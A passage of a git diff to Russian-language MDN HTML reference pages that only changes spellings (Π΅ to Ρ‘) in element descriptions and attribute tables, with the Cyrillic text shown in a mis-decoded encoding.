<dd>Подсказка, ΡƒΠΊΠ°Π·Ρ‹Π²Π°ΡŽΡ‰Π°Ρ, ΠΊΠ°ΠΊ Π΄ΠΎΠ»ΠΆΠ΅Π½ ΠΏΡ€ΠΎΠΈΡΡ…ΠΎΠ΄ΠΈΡ‚ΡŒ пСрСнос. Π’ соврСмСнных Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°Ρ… этот Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ игнорируСтся, ΠΈ Π½ΠΈΠΊΠ°ΠΊΠΎΠ³ΠΎ Π²ΠΈΠ·ΡƒΠ°Π»ΡŒΠ½ΠΎΠ³ΠΎ эффСкта Π½Π΅ ΠΏΡ€ΠΈΠ²ΠΎΠ΄ΠΈΡ‚; Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π΄ΠΎΡΡ‚ΠΈΡ‡ΡŒ Ρ‚Π°ΠΊΠΎΠ³ΠΎ эффСкта, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅ CSS {{Cssxref("white-space")}}.</dd>
</dl>
@@ -80,7 +80,7 @@ body {
<h2 id="ΠŸΡ€ΠΎΠ±Π»Π΅ΠΌΡ‹_доступности">ΠŸΡ€ΠΎΠ±Π»Π΅ΠΌΡ‹ доступности</h2>
-<p>Π’Π°ΠΆΠ½ΠΎ ΠΏΡ€Π΅Π΄ΠΎΡΡ‚Π°Π²ΠΈΡ‚ΡŒ Π°Π»ΡŒΡ‚Π΅Ρ€Π½Π°Ρ‚ΠΈΠ²Π½ΠΎΠ΅ описаниС для Π»ΡŽΠ±Ρ‹Ρ… ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠΉ ΠΈΠ»ΠΈ Π΄ΠΈΠ°Π³Ρ€Π°ΠΌΠΌ, созданных с использованиСм ΠΏΡ€Π΅Π΄Π²Π°Ρ€ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ ΠΎΡ‚Ρ„ΠΎΡ€ΠΌΠ°Ρ‚ΠΈΡ€ΠΎΠ²Π°Π½Π½ΠΎΠ³ΠΎ тСкста. ΠΠ»ΡŒΡ‚Π΅Ρ€Π½Π°Ρ‚ΠΈΠ²Π½ΠΎΠ΅ описаниС Π΄ΠΎΠ»ΠΆΠ½ΠΎ Ρ‡Π΅Ρ‚ΠΊΠΎ ΠΈ Π»Π°ΠΊΠΎΠ½ΠΈΡ‡Π½ΠΎ ΠΎΠΏΠΈΡΡ‹Π²Π°Ρ‚ΡŒ содСрТаниС изобраТСния ΠΈΠ»ΠΈ Π΄ΠΈΠ°Π³Ρ€Π°ΠΌΠΌΡ‹.</p>
+<p>Π’Π°ΠΆΠ½ΠΎ ΠΏΡ€Π΅Π΄ΠΎΡΡ‚Π°Π²ΠΈΡ‚ΡŒ Π°Π»ΡŒΡ‚Π΅Ρ€Π½Π°Ρ‚ΠΈΠ²Π½ΠΎΠ΅ описаниС для Π»ΡŽΠ±Ρ‹Ρ… ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠΉ ΠΈΠ»ΠΈ Π΄ΠΈΠ°Π³Ρ€Π°ΠΌΠΌ, созданных с использованиСм ΠΏΡ€Π΅Π΄Π²Π°Ρ€ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ ΠΎΡ‚Ρ„ΠΎΡ€ΠΌΠ°Ρ‚ΠΈΡ€ΠΎΠ²Π°Π½Π½ΠΎΠ³ΠΎ тСкста. ΠΠ»ΡŒΡ‚Π΅Ρ€Π½Π°Ρ‚ΠΈΠ²Π½ΠΎΠ΅ описаниС Π΄ΠΎΠ»ΠΆΠ½ΠΎ Ρ‡Ρ‘Ρ‚ΠΊΠΎ ΠΈ Π»Π°ΠΊΠΎΠ½ΠΈΡ‡Π½ΠΎ ΠΎΠΏΠΈΡΡ‹Π²Π°Ρ‚ΡŒ содСрТаниС изобраТСния ΠΈΠ»ΠΈ Π΄ΠΈΠ°Π³Ρ€Π°ΠΌΠΌΡ‹.</p>
<p>Π›ΡŽΠ΄ΠΈ, ΠΈΡΠΏΡ‹Ρ‚Ρ‹Π²Π°ΡŽΡ‰ΠΈΠ΅ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΡ‹ с ΠΏΠ»ΠΎΡ…ΠΈΠΌ Π·Ρ€Π΅Π½ΠΈΠ΅ΠΌ ΠΈ ΠΏΡ€ΠΎΡΠΌΠ°Ρ‚Ρ€ΠΈΠ²Π°ΡŽΡ‰ΠΈΠ΅ страницы с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ Π²ΡΠΏΠΎΠΌΠΎΠ³Π°Ρ‚Π΅Π»ΡŒΠ½Ρ‹Ρ… Ρ‚Π΅Ρ…Π½ΠΎΠ»ΠΎΠ³ΠΈΠΉ, Ρ‚Π°ΠΊΠΈΡ… ΠΊΠ°ΠΊ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ° чтСния с экрана, ΠΌΠΎΠ³ΡƒΡ‚ Π½Π΅ ΠΏΠΎΠ½ΠΈΠΌΠ°Ρ‚ΡŒ, Ρ‡Ρ‚ΠΎ ΠΏΡ€Π΅Π΄ΡΡ‚Π°Π²Π»ΡΡŽΡ‚ собой ΠΏΡ€Π΅Π΄Π²Π°Ρ€ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ ΠΎΡ‚Ρ„ΠΎΡ€ΠΌΠ°Ρ‚ΠΈΡ€ΠΎΠ²Π°Π½Π½Ρ‹Π΅ тСкстовыС символы, ΠΊΠΎΠ³Π΄Π° ΠΎΠ½ΠΈ Ρ‡ΠΈΡ‚Π°ΡŽΡ‚ΡΡ ΠΏΠΎΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎ.</p>
diff --git a/files/ru/web/html/element/progress/index.html b/files/ru/web/html/element/progress/index.html
index 3044cb72c1..5746e3259a 100644
--- a/files/ru/web/html/element/progress/index.html
+++ b/files/ru/web/html/element/progress/index.html
@@ -21,7 +21,7 @@ translation_of: Web/HTML/Element/progress
<td><a href="/en-US/docs/Web/HTML/Content_categories#Flow_content">ΠŸΠΎΡ‚ΠΎΠΊΠΎΠ²Ρ‹ΠΉ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚</a>, <a href="/en-US/docs/Web/HTML/Content_categories#Phrasing_content">Ρ„Ρ€Π°Π·ΠΎΠ²Ρ‹ΠΉ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚</a>, ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚, ассоциированный с  label, явный ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚.</td>
</tr>
<tr>
- <th scope="row">Π Π°Π·Ρ€Π΅ΡˆΠ΅Π½Π½Ρ‹ΠΉ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚</th>
+ <th scope="row">Π Π°Π·Ρ€Π΅ΡˆΡ‘Π½Π½Ρ‹ΠΉ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚</th>
<td><a href="/en-US/docs/Web/HTML/Content_categories#Phrasing_content">Π€Ρ€Π°Π·ΠΎΠ²Ρ‹ΠΉ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚</a>, Π½ΠΎ срСди Π΅Π³ΠΎ ΠΏΠΎΡ‚ΠΎΠΌΠΊΠΎΠ² Π½Π΅ Π΄ΠΎΠ»ΠΆΠ½ΠΎ Π±Ρ‹Ρ‚ΡŒ элСмСнта <code>&lt;progress&gt;</code>.</td>
</tr>
<tr>
@@ -29,11 +29,11 @@ translation_of: Web/HTML/Element/progress
<td>{{no_tag_omission}}</td>
</tr>
<tr>
- <th scope="row">Π Π°Π·Ρ€Π΅ΡˆΠ΅Π½Π½Ρ‹Π΅ Ρ€ΠΎΠ΄ΠΈΡ‚Π΅Π»ΠΈ</th>
+ <th scope="row">Π Π°Π·Ρ€Π΅ΡˆΡ‘Π½Π½Ρ‹Π΅ Ρ€ΠΎΠ΄ΠΈΡ‚Π΅Π»ΠΈ</th>
<td>Π›ΡŽΠ±ΠΎΠΉ элСмСнт, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°Π΅Ρ‚ <a href="/en-US/docs/Web/HTML/Content_categories#Phrasing_content">Ρ„Ρ€Π°Π·ΠΎΠ²Ρ‹ΠΉ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚</a>.</td>
</tr>
<tr>
- <th scope="row">Π Π°Π·Ρ€Π΅ΡˆΠ΅Π½Π½Ρ‹Π΅ ARIA Ρ€ΠΎΠ»ΠΈ</th>
+ <th scope="row">Π Π°Π·Ρ€Π΅ΡˆΡ‘Π½Π½Ρ‹Π΅ ARIA Ρ€ΠΎΠ»ΠΈ</th>
<td>НСт</td>
</tr>
<tr>
@@ -51,7 +51,7 @@ translation_of: Web/HTML/Element/progress
<dt>{{ htmlattrdef("max") }}</dt>
<dd>Π­Ρ‚ΠΎΡ‚ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ описываСт сколько Π·Π°Ρ‚Ρ€Π°Ρ‚ Ρ‚Ρ€Π΅Π±ΡƒΠ΅Ρ‚ Π·Π°Π΄Π°Ρ‡Π°, указанная элСмСнтом  <code>progress</code>. Атрибут <code>max</code>, Π² случаС указания, Π΄ΠΎΠ»ΠΆΠ΅Π½ Π±Ρ‹Ρ‚ΡŒ ΠΏΠΎΠ»ΠΎΠΆΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹ΠΌ, Ρ‚Π°ΠΊΠΆΠ΅, Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ ΠΏΡ€ΠΈΠΌΠ΅Π½Π΅Π½ΠΈΠ΅ числа с ΠΏΠ»Π°Π²Π°ΡŽΡ‰Π΅ΠΉ Ρ‚ΠΎΡ‡ΠΊΠΎΠΉ.Β  Π—Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ 1.</dd>
<dt>{{ htmlattrdef("value") }}</dt>
- <dd>Π­Ρ‚ΠΎΡ‚ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ ΡƒΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚ какая Ρ‡Π°ΡΡ‚ΡŒ Π·Π°Π΄Π°Ρ‡ΠΈ Π±Ρ‹Π»Π° Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½Π°. Π­Ρ‚ΠΎ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ число с ΠΏΠ»Π°Π²Π°ΡŽΡ‰Π΅ΠΉ Ρ‚ΠΎΡ‡ΠΊΠΎΠΉ ΠΎΡ‚ 0 Π΄ΠΎ <code>max</code>, ΠΈΠ»ΠΈ ΠΌΠ΅ΠΆΠ΄Ρƒ 0 ΠΈ 1, Ссли <code>max</code> Π½Π΅ ΡƒΠΊΠ°Π·Π°Π½. Если Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ <code>value</code> Π½Π΅ ΡƒΠΊΠ°Π·Π°Π½, ΠΈΠ½Π΄ΠΈΠΊΠ°Ρ‚ΠΎΡ€ выполнСния Π½Π΅ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½; это ΡƒΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚ Π½Π° Ρ‚ΠΎ, Ρ‡Ρ‚ΠΎ дСйствиС продолТаСтся Π±Π΅Π· указания Π½Π° Ρ‚ΠΎ, сколько Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ ΠΎΠ½ΠΎ Π·Π°ΠΉΠΌΠ΅Ρ‚.</dd>
+ <dd>Π­Ρ‚ΠΎΡ‚ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ ΡƒΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚ какая Ρ‡Π°ΡΡ‚ΡŒ Π·Π°Π΄Π°Ρ‡ΠΈ Π±Ρ‹Π»Π° Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½Π°. Π­Ρ‚ΠΎ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ число с ΠΏΠ»Π°Π²Π°ΡŽΡ‰Π΅ΠΉ Ρ‚ΠΎΡ‡ΠΊΠΎΠΉ ΠΎΡ‚ 0 Π΄ΠΎ <code>max</code>, ΠΈΠ»ΠΈ ΠΌΠ΅ΠΆΠ΄Ρƒ 0 ΠΈ 1, Ссли <code>max</code> Π½Π΅ ΡƒΠΊΠ°Π·Π°Π½. Если Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ <code>value</code> Π½Π΅ ΡƒΠΊΠ°Π·Π°Π½, ΠΈΠ½Π΄ΠΈΠΊΠ°Ρ‚ΠΎΡ€ выполнСния Π½Π΅ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½; это ΡƒΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚ Π½Π° Ρ‚ΠΎ, Ρ‡Ρ‚ΠΎ дСйствиС продолТаСтся Π±Π΅Π· указания Π½Π° Ρ‚ΠΎ, сколько Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ ΠΎΠ½ΠΎ Π·Π°ΠΉΠΌΠ΅Ρ‚.</dd>
</dl>
<div class="note">
@@ -59,7 +59,7 @@ translation_of: Web/HTML/Element/progress
</div>
<div class="note">
-<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅:</strong> ПсСвдокласс {{ cssxref(":indeterminate") }} ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ использован для Ρ€Π°Π±ΠΎΡ‚Ρ‹ с Π½Π΅ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹ΠΌ ΠΈΠ½Π΄ΠΈΠΊΠ°Ρ‚ΠΎΡ€ΠΎΠΌ выполнСния. Π§Ρ‚ΠΎΠ±Ρ‹ ΠΈΠ½Π΄ΠΈΠΊΠ°Ρ‚ΠΎΡ€ выполнСния стал Π½Π΅ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹ΠΌ послС присвоСния Π΅ΠΌΡƒ значСния, Π²Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΡƒΠ΄Π°Π»ΠΈΡ‚ΡŒ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ value с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ <code>element.removeAttribute("value")</code></p>
+<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅:</strong> ПсСвдокласс {{ cssxref(":indeterminate") }} ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ использован для Ρ€Π°Π±ΠΎΡ‚Ρ‹ с Π½Π΅ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹ΠΌ ΠΈΠ½Π΄ΠΈΠΊΠ°Ρ‚ΠΎΡ€ΠΎΠΌ выполнСния. Π§Ρ‚ΠΎΠ±Ρ‹ ΠΈΠ½Π΄ΠΈΠΊΠ°Ρ‚ΠΎΡ€ выполнСния стал Π½Π΅ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹ΠΌ послС присвоСния Π΅ΠΌΡƒ значСния, Π²Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΡƒΠ΄Π°Π»ΠΈΡ‚ΡŒ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ value с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ <code>element.removeAttribute("value")</code></p>
</div>
<h2 id="ΠŸΡ€ΠΈΠΌΠ΅Ρ€Ρ‹">ΠŸΡ€ΠΈΠΌΠ΅Ρ€Ρ‹</h2>
diff --git a/files/ru/web/html/element/ruby/index.html b/files/ru/web/html/element/ruby/index.html
index ed501d421c..50439aa381 100644
--- a/files/ru/web/html/element/ruby/index.html
+++ b/files/ru/web/html/element/ruby/index.html
@@ -26,11 +26,11 @@ translation_of: Web/HTML/Element/ruby
<td>{{no_tag_omission}}</td>
</tr>
<tr>
- <th scope="row">Π Π°Π·Ρ€Π΅ΡˆΠ΅Π½Π½Ρ‹Π΅ Ρ€ΠΎΠ΄ΠΈΡ‚Π΅Π»ΠΈ</th>
+ <th scope="row">Π Π°Π·Ρ€Π΅ΡˆΡ‘Π½Π½Ρ‹Π΅ Ρ€ΠΎΠ΄ΠΈΡ‚Π΅Π»ΠΈ</th>
<td>Π›ΡŽΠ±ΠΎΠΉ элСмСнт ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ согласован с <a href="/en-US/docs/HTML/Content_categories#Phrasing_content">тСкстовым ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚ΠΎΠΌ(phrasing content)</a>.</td>
</tr>
<tr>
- <th scope="row">Π Π°Π·Ρ€Π΅ΡˆΠ΅Π½Π½Ρ‹Π΅ Ρ€ΠΎΠ»ΠΈ ARIA</th>
+ <th scope="row">Π Π°Π·Ρ€Π΅ΡˆΡ‘Π½Π½Ρ‹Π΅ Ρ€ΠΎΠ»ΠΈ ARIA</th>
<td>Π›ΡŽΠ±Ρ‹Π΅</td>
</tr>
<tr>
diff --git a/files/ru/web/html/element/script/index.html b/files/ru/web/html/element/script/index.html
index 7febc40d50..f16b52b07a 100644
--- a/files/ru/web/html/element/script/index.html
+++ b/files/ru/web/html/element/script/index.html
@@ -30,7 +30,7 @@ translation_of: Web/HTML/Element/script
</td>
</tr>
<tr>
- <th scope="row">Π Π°Π·Ρ€Π΅ΡˆΠ΅Π½Π½Π°Ρ ARIA Ρ€ΠΎΠ»ΡŒ</th>
+ <th scope="row">Π Π°Π·Ρ€Π΅ΡˆΡ‘Π½Π½Π°Ρ ARIA Ρ€ΠΎΠ»ΡŒ</th>
<td>ΠžΡ‚ΡΡƒΡ‚ΡΡ‚Π²ΡƒΠ΅Ρ‚</td>
</tr>
<tr>
diff --git a/files/ru/web/html/element/section/index.html b/files/ru/web/html/element/section/index.html
index b34e9d1099..9774eae28f 100644
--- a/files/ru/web/html/element/section/index.html
+++ b/files/ru/web/html/element/section/index.html
@@ -20,7 +20,7 @@ translation_of: Web/HTML/Element/section
<p class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples </a> and send us a pull request.</p>
-<p>НапримСр, мСню Π½Π°Π²ΠΈΠ³Π°Ρ†ΠΈΠΈ Π΄ΠΎΠ»ΠΆΠ½ΠΎ Π±Ρ‹Ρ‚ΡŒ ΠΏΠΎΠΌΠ΅Ρ‰Π΅Π½ΠΎ Π² элСмСнт {{htmlelement("nav")}}, Π½ΠΎ список Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ΠΎΠ² поиска ΠΈ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ ΠΊΠ°Ρ€Ρ‚Ρ‹ с Π΅Π΅ элСмСнтами управлСния Π½Π΅ ΠΈΠΌΠ΅ΡŽΡ‚ спСцифичСских элСмСнтов ΠΈ ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ ΠΏΠΎΠΌΠ΅Ρ‰Π΅Π½Ρ‹ Π² <code>&lt;section&gt;</code>.</p>
+<p>НапримСр, мСню Π½Π°Π²ΠΈΠ³Π°Ρ†ΠΈΠΈ Π΄ΠΎΠ»ΠΆΠ½ΠΎ Π±Ρ‹Ρ‚ΡŒ ΠΏΠΎΠΌΠ΅Ρ‰Π΅Π½ΠΎ Π² элСмСнт {{htmlelement("nav")}}, Π½ΠΎ список Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ΠΎΠ² поиска ΠΈ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ ΠΊΠ°Ρ€Ρ‚Ρ‹ с Π΅Ρ‘ элСмСнтами управлСния Π½Π΅ ΠΈΠΌΠ΅ΡŽΡ‚ спСцифичСских элСмСнтов ΠΈ ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ ΠΏΠΎΠΌΠ΅Ρ‰Π΅Π½Ρ‹ Π² <code>&lt;section&gt;</code>.</p>
<div class="note">
<p><strong>Π—Π°ΠΌΠ΅Ρ‚ΠΊΠ°:</strong> Если содСрТимоС элСмСнта ΠΈΠΌΠ΅Π΅Ρ‚ смысл ΠΎΠ±ΡŠΠ΅Π΄ΠΈΠ½ΠΈΡ‚ΡŒ ΠΊΠ°ΠΊ Π΅Π΄ΠΈΠ½ΠΎΠ΅ Ρ†Π΅Π»ΠΎΠ΅ (Π² Ρ†Π΅Π»ΡŒΠ½Ρ‹ΠΉ ΠΈ нСзависимый Π±Π»ΠΎΠΊ), Ρ‚ΠΎ элСмСнт {{HTMLElement("article")}} ΠΌΠΎΠΆΠ΅Ρ‚ ΡΡ‚Π°Ρ‚ΡŒ Π»ΡƒΡ‡ΡˆΠΈΠΌ Π²Ρ‹Π±ΠΎΡ€ΠΎΠΌ.</p>
@@ -33,7 +33,7 @@ translation_of: Web/HTML/Element/section
<td><a href="/ru/docs/Web/Guide/HTML/Content_categories#Основной_ΠΏΠΎΡ‚ΠΎΠΊ">Основной ΠΏΠΎΡ‚ΠΎΠΊ</a>, <a href="/ru/docs/Web/Guide/HTML/Content_categories#Π‘Π΅ΠΊΡ†ΠΈΠΎΠ½Π½Ρ‹ΠΉ_ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚">сСкционный ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚</a>, <a href="/ru/docs/Web/Guide/HTML/Content_categories#Π―Π²Π½Ρ‹ΠΉ_ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚">явный ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚</a>.</td>
</tr>
<tr>
- <th scope="row">Π Π°Π·Ρ€Π΅ΡˆΠ΅Π½Π½ΠΎΠ΅ содСрТимоС</th>
+ <th scope="row">Π Π°Π·Ρ€Π΅ΡˆΡ‘Π½Π½ΠΎΠ΅ содСрТимоС</th>
<td><a href="/ru/docs/Web/Guide/HTML/Content_categories#Основной_ΠΏΠΎΡ‚ΠΎΠΊ">Основной ΠΏΠΎΡ‚ΠΎΠΊ</a></td>
</tr>
<tr>
@@ -41,11 +41,11 @@ translation_of: Web/HTML/Element/section
<td>Ни ΠΎΠ΄Π½ΠΎΠ³ΠΎ; Оба Ρ‚Π΅Π³Π°, ΠΎΡ‚ΠΊΡ€Ρ‹Π²Π°ΡŽΡ‰ΠΈΠΉ ΠΈ Π·Π°ΠΊΡ€Ρ‹Π²Π°ΡŽΡ‰ΠΈΠΉ, ΡΠ²Π»ΡΡŽΡ‚ΡΡ ΠΎΠ±ΡΠ·Π°Ρ‚Π΅Π»ΡŒΠ½Ρ‹ΠΌΠΈ.</td>
</tr>
<tr>
- <th scope="row">Π Π°Π·Ρ€Π΅ΡˆΠ΅Π½Π½Ρ‹Π΅ Ρ€ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΡΠΊΠΈΠ΅ элСмСнты</th>
+ <th scope="row">Π Π°Π·Ρ€Π΅ΡˆΡ‘Π½Π½Ρ‹Π΅ Ρ€ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΡΠΊΠΈΠ΅ элСмСнты</th>
<td>Π›ΡŽΠ±ΠΎΠΉ элСмСнт, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Ρ€Π°Π·Ρ€Π΅ΡˆΠ°Π΅Ρ‚ <a href="/ru/docs/Web/Guide/HTML/Content_categories#Основной_ΠΏΠΎΡ‚ΠΎΠΊ">ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚ основного ΠΏΠΎΡ‚ΠΎΠΊΠ°</a> Π² качСствС содСрТимого. ΠžΠ±Ρ€Π°Ρ‚ΠΈΡ‚Π΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅, Ρ‡Ρ‚ΠΎ элСмСнт <code>&lt;section&gt;</code> Π½Π΅ Π΄ΠΎΠ»ΠΆΠ΅Π½ Π±Ρ‹Ρ‚ΡŒ ΠΏΠΎΡ‚ΠΎΠΌΠΊΠΎΠΌ элСмСнта {{HTMLElement("address")}}.</td>
</tr>
<tr>
- <th scope="row">Π Π°Π·Ρ€Π΅ΡˆΠ΅Π½Π½Ρ‹Π΅ Ρ€ΠΎΠ»ΠΈ ARIA</th>
+ <th scope="row">Π Π°Π·Ρ€Π΅ΡˆΡ‘Π½Π½Ρ‹Π΅ Ρ€ΠΎΠ»ΠΈ ARIA</th>
<td>{{ARIARole("alert")}}, {{ARIARole("alertdialog")}}, {{ARIARole("application")}}, {{ARIARole("banner")}}, {{ARIARole("complementary")}}, {{ARIARole("contentinfo")}}, {{ARIARole("dialog")}}, {{ARIARole("document")}}, {{ARIARole("feed")}}, {{ARIARole("log")}}, {{ARIARole("main")}}, {{ARIARole("marquee")}}, {{ARIARole("navigation")}}, {{ARIARole("search")}}, {{ARIARole("status")}}, {{ARIARole("tabpanel")}}</td>
</tr>
<tr>
@@ -62,7 +62,7 @@ translation_of: Web/HTML/Element/section
<h2 id="ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅">ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅</h2>
<ul>
- <li>ΠšΠ°ΠΆΠ΄Ρ‹ΠΉ элСмСнт <code>&lt;section&gt;</code> Π΄ΠΎΠ»ΠΆΠ΅Π½ Π±Ρ‹Ρ‚ΡŒ ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΡ†ΠΈΡ€ΠΎΠ²Π°Π½, ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ ΠΏΡƒΡ‚Π΅ΠΌ добавлСния Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ° (элСмСнты {{HTMLElement('h1')}}-{{HTMLElement('h6')}}) Π² качСствС Π΄ΠΎΡ‡Π΅Ρ€Π½Π΅Π³ΠΎ элСмСнта.</li>
+ <li>ΠšΠ°ΠΆΠ΄Ρ‹ΠΉ элСмСнт <code>&lt;section&gt;</code> Π΄ΠΎΠ»ΠΆΠ΅Π½ Π±Ρ‹Ρ‚ΡŒ ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΡ†ΠΈΡ€ΠΎΠ²Π°Π½, ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ ΠΏΡƒΡ‚Ρ‘ΠΌ добавлСния Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ° (элСмСнты {{HTMLElement('h1')}}-{{HTMLElement('h6')}}) Π² качСствС Π΄ΠΎΡ‡Π΅Ρ€Π½Π΅Π³ΠΎ элСмСнта.</li>
<li>Если ΠΈΠΌΠ΅Π΅Ρ‚ смысл ΠΏΠΎ-особому ΠΎΠ±ΡŠΠ΅Π΄ΠΈΠ½ΠΈΡ‚ΡŒ содСрТимоС элСмСнта <code>&lt;section&gt;</code> (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ Ρ†Π΅Π»ΡŒΠ½Ρ‹ΠΌ ΠΈ нСзависимым Ρ€Π°Π·Π΄Π΅Π»ΠΎΠΌ HTML-Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°), ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅ вмСсто Π½Π΅Π³ΠΎ элСмСнт {{HTMLElement("article")}}.</li>
<li>НС ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅ элСмСнт <code>&lt;section&gt;</code> ΠΊΠ°ΠΊ ΠΎΠ±Ρ‰ΠΈΠΉ ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€; для этого Π΅ΡΡ‚ΡŒ {{HTMLElement("div")}}, особСнно ΠΊΠΎΠ³Π΄Π° сСкционированиС примСняСтся Ρ‚ΠΎΠ»ΡŒΠΊΠΎ для стилизации. На ΠΏΡ€Π°ΠΊΡ‚ΠΈΠΊΠ΅ Ρ€Π°Π·Π΄Π΅Π» Π΄ΠΎΠ»ΠΆΠ΅Π½ логичСски Π²Ρ‹Π΄Π΅Π»ΡΡ‚ΡŒΡΡ Π² структурС Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°.</li>
</ul>
diff --git a/files/ru/web/html/element/select/index.html b/files/ru/web/html/element/select/index.html
index 53b0bc2509..58b8a35fa8 100644
--- a/files/ru/web/html/element/select/index.html
+++ b/files/ru/web/html/element/select/index.html
@@ -24,7 +24,7 @@ translation_of: Web/HTML/Element/select
<td>Π›ΡŽΠ±Ρ‹Π΅ элСмСнты Π² ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½ΠΎ тСкстовоС содСрТимоС</td>
</tr>
<tr>
- <th scope="row">Π Π°Π·Ρ€Π΅ΡˆΠ΅Π½Π½Π°Ρ ARIA Ρ€ΠΎΠ»ΡŒ</th>
